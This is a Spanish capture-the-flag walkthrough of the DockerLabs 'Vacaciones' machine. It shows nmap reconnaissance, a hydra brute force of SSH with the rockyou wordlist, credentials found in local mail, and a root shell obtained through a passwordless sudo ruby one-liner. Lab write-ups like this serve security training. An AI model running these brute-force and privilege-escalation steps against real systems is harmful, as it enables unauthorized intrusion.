> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-muy-facil/vacaciones.md).

# Vacaciones

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Vacaciones** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Para extraer el contenido del archivo comprimido, utilizamos la herramienta `7z`:

```bash
7z x vacaciones.zip
```

<figure><img src="/files/r8YBC6SW5q6BCZVv1oKF" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Para desplegar la máquina en Docker, ejecutamos el script proporcionado:

```bash
bash auto_deploy.sh vacaciones.tar
```

<figure><img src="/files/smlM0MwUsetr4RXZx2P6" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**1. Verificación de Conectividad:**

Antes de comenzar, verificamos que tenemos conectividad con la máquina objetivo:

```bash
ping -c 1 172.17.0.2
```

El `TTL=64` nos indica que el sistema operativo es **Linux**.

<figure><img src="/files/2LfeitRSzI23I7om3Y7A" alt=""><figcaption></figcaption></figure>

**2. Escaneo de Puertos:**

Realizamos un escaneo rápido de puertos abiertos con `nmap`:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Resultados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="/files/3I0DYePzF2e9lJjHPLy6" alt=""><figcaption></figcaption></figure>

**3. Escaneo Detallado:**

Para obtener más información de los puertos abiertos, realizamos un escaneo más detallado:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 22:** OpenSSH 7.6p1.
* **Puerto 80:** Apache httpd 2.4.29.

<figure><img src="/files/nTnVRmIVGfGwV3WsxTv8" alt=""><figcaption></figcaption></figure>

**4. Análisis del Servicio Web:**

Al acceder al servicio web mediante un navegador (`http://172.17.0.2`), encontramos una página aparentemente vacía.

<figure><img src="/files/WHGXt3gRgPzhCNwMgMz8" alt=""><figcaption></figcaption></figure>

Sin embargo, al inspeccionar el código fuente descubrimos un comentario interesante:

```html
<!-- De: Juan Para: Camilo , te he dejado un correo es importante... -->
```

<figure><img src="/files/SUM9imJeEvBfUWphN9E6" alt=""><figcaption></figcaption></figure>

Este comentario nos proporciona dos posibles nombres de usuario válidos en el sistema: `juan` y `camilo`.

***

#### **Explotación:**

**1. Fuerza Bruta contra SSH:**

Utilizando la información obtenida, realizamos un ataque de fuerza bruta contra el servicio SSH con `hydra`, probando primero con el usuario `camilo`:

```bash
hydra -L camilo -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -t 4
```

**Resultado:** La contraseña del usuario `camilo` es `password1`.

<figure><img src="/files/1YzQQEgnly8O2nFTL0Un" alt=""><figcaption></figcaption></figure>

**2. Acceso al Sistema:**

Accedemos al sistema con las credenciales obtenidas mediante SSH:

```bash
ssh camilo@172.17.0.2
```

<figure><img src="/files/ejRNmdKWd0INvBgedSKU" alt=""><figcaption></figcaption></figure>

**3. Lectura de Correo Electrónico:**

Una vez dentro del sistema, exploramos los directorios del usuario y encontramos un correo electrónico en `/var/mail/camilo`:

```bash
cat /var/mail/camilo/correo.txt
```

El contenido del correo contiene credenciales para el usuario `juan`.

<figure><img src="/files/XYXkPbSQinM0zvFG7n5C" alt=""><figcaption></figcaption></figure>

**4. Acceso al Sistema con el Usuario Juan:**

Accedemos al sistema como `juan`:

```bash
su juan
```

<figure><img src="/files/oakHCuvD4S7E4d7vfJlY" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**1. Análisis de Privilegios Sudo:**

Verificamos los privilegios del usuario `juan`:

```bash
sudo -l
```

**Resultado:** El usuario `juan` puede ejecutar `/usr/bin/ruby` como `root` sin proporcionar contraseña.

<figure><img src="/files/u1M3XyYy3HF4yKgiEOzX" alt=""><figcaption></figcaption></figure>

**2. Explotación mediante GTFOBins:**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/ruby/) para encontrar una forma de escalar privilegios mediante `ruby`.

Ejecutamos el siguiente comando para obtener una shell como `root`:

```bash
sudo ruby -e 'exec "/bin/sh"'
```

<figure><img src="/files/R7eaAhdIDicDhd4jTgVE" alt=""><figcaption></figcaption></figure>
